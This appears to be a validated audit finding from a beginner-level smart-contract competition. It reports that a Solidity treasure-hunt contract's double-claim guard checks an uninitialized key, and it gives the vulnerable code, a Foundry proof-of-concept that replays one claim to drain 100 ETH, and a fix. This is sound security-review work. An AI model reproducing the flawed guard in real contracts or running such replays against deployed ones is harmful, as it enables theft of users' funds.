SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Same valid treasure proof can be replayed until the full hunt balance is drained

mustafasec

Root + Impact

Description

TreasureHunt declares bytes32 private immutable _treasureHash; at line 35 but the constructor (lines 64–72) never initializes it. The replay guard in claim() reads claimed[_treasureHash] (an uninitialized, always-zero key) while _markClaimed(treasureHash) writes to the user-supplied treasureHash key. Because the read key and the write key differ, the replay guard never triggers for legitimate claims. One valid (proof, treasureHash, recipient) tuple can therefore consume every REWARD slot and drain the full 100 ETH hunt funding.

// contracts/src/TreasureHunt.sol#L35
bytes32 private immutable _treasureHash; // @> never initialized in constructor
// contracts/src/TreasureHunt.sol#L64-L72 — constructor does not assign _treasureHash
constructor(address _verifier) payable {
if (_verifier == address(0)) revert InvalidVerifier();
owner = msg.sender;
verifier = IVerifier(_verifier);
paused = false;
// Owner should fund 100 ETH at deployment (10 treasures × 10 ETH).
}
// contracts/src/TreasureHunt.sol#L83-L112 (claim)
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant() {
...
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // @> reads claimed[0x00..00], never the hash just submitted
...
bool ok = verifier.verify(proof, publicInputs);
if (!ok) revert InvalidProof();
​
_incrementClaimsCount();
_markClaimed(treasureHash); // @> writes claimed[treasureHash], a different slot
(bool sent, ) = recipient.call{value: REWARD}("");
require(sent, "ETH_TRANSFER_FAILED");
emit Claimed(treasureHash, msg.sender);
}
// contracts/src/TreasureHunt.sol#L209-L211
function _markClaimed(bytes32 treasureHash) internal {
claimed[treasureHash] = true;
}

Slither independently flags this on the scoped file:

Detector: uninitialized-state
TreasureHunt._treasureHash (contracts/src/TreasureHunt.sol#35) is never initialized. It is used in:
- TreasureHunt.claim(bytes,bytes32,address) (contracts/src/TreasureHunt.sol#83-112)

Risk

Likelihood: High.

  • The bug is reachable on the external claim() entrypoint, requires no privileged role, survives the nonReentrant guard, and triggers on every successful legitimate claim.

  • Any participant who finds any treasure is one replayed call away from draining the contract; the bug fires whenever the replay guard claimed[_treasureHash] read-key diverges from the _markClaimed(treasureHash) write-key — which is always, because _treasureHash is never assigned.

Impact: High.

  • A single valid (proof, treasureHash, recipient) tuple — i.e. any legitimate claim of any treasure — can be replayed up to MAX_TREASURES times. claimsCount increments each time and REWARD is transferred each time.

  • The entire 100 ETH (10 treasures × 10 ETH) can be drained to a single recipient using one legitimate discovery, preventing every other participant from ever claiming a reward.

Proof of Concept

The Foundry test below models any accepted (proof, public-inputs) tuple with a minimal AlwaysValidVerifier. The replay bug is independent of proof validity because it lives in the bookkeeping that runs after verifier.verify(...) returns true. File: contracts/test/hunter_pocs/DoubleClaimPoC.t.sol.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import {Test} from "forge-std/Test.sol";
import {TreasureHunt} from "../../src/TreasureHunt.sol";
import {IVerifier} from "../../src/Verifier.sol";
​
contract AlwaysValidVerifier is IVerifier {
function verify(bytes calldata, bytes32[] calldata) external pure returns (bool) { return true; }
}
​
contract DoubleClaimPoC is Test {
TreasureHunt internal hunt;
address internal owner = address(0xA11CE);
address internal finder = address(0xB0B);
address payable internal recipient = payable(address(0xCAFE));
​
function setUp() public {
vm.deal(owner, 100 ether);
vm.prank(owner);
hunt = new TreasureHunt{value: 100 ether}(address(new AlwaysValidVerifier()));
}
​
function testSameTreasureCanDrainAllRewardsTenTimes() public {
bytes memory proof = hex"01";
bytes32 treasureHash = keccak256("already found treasure");
uint256 startingRecipientBalance = recipient.balance;
​
vm.startPrank(finder);
​
hunt.claim(proof, treasureHash, recipient);
assertTrue(hunt.claimed(treasureHash), "first claim should mark the treasure claimed");
assertEq(hunt.claimsCount(), 1, "first claim should consume one slot");
​
// Replay the exact same (proof, treasureHash, recipient) — should revert with AlreadyClaimed, but passes.
hunt.claim(proof, treasureHash, recipient);
assertEq(hunt.claimsCount(), 2, "same claimed treasure should not be claimable twice");
assertEq(recipient.balance, startingRecipientBalance + 20 ether, "same treasure paid twice");
​
for (uint256 i = 2; i < hunt.MAX_TREASURES(); i++) {
hunt.claim(proof, treasureHash, recipient);
}
vm.stopPrank();
​
assertTrue(hunt.claimed(treasureHash), "treasure was marked claimed");
assertEq(hunt.claimsCount(), hunt.MAX_TREASURES(), "same treasure consumed every slot");
assertEq(recipient.balance, startingRecipientBalance + 100 ether, "recipient received the full hunt balance");
assertEq(address(hunt).balance, 0, "hunt was drained");
}
}

Command + result:

forge test --match-test testSameTreasureCanDrainAllRewardsTenTimes -vvv
​
[PASS] testSameTreasureCanDrainAllRewardsTenTimes() (gas: 348280)
Suite result: ok. 1 passed; 0 failed; 0 skipped;

Recommended Mitigation

Replace the uninitialized-immutable guard with a check against the user-supplied treasureHash, and delete the unused _treasureHash field:

- bytes32 private immutable _treasureHash;
- ...
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);

Add a regression test that calls claim() twice with the same (proof, treasureHash, recipient) and expects the second call to revert with AlreadyClaimed.

Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken double-claim protection

In `claim()`, the guard uses `claimed[_treasureHash]`, where `_treasureHash` is an immutable state variable that is never initialized to the caller-supplied treasure identifier, while the contract later marks `claimed[treasureHash] = true` using the function argument instead. As a result, the duplicate-claim check and the state update are performed against different keys, which means a previously claimed treasure is not actually blocked from being claimed again with the same valid proof and `treasureHash`. This breaks a core invariant of the protocol described in the README, namely, that each treasure can only be redeemed once, and allows one valid treasure/proof pair to be reused to drain rewards repeatedly until either the `MAX_TREASURES` cap or the contract balance is exhausted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!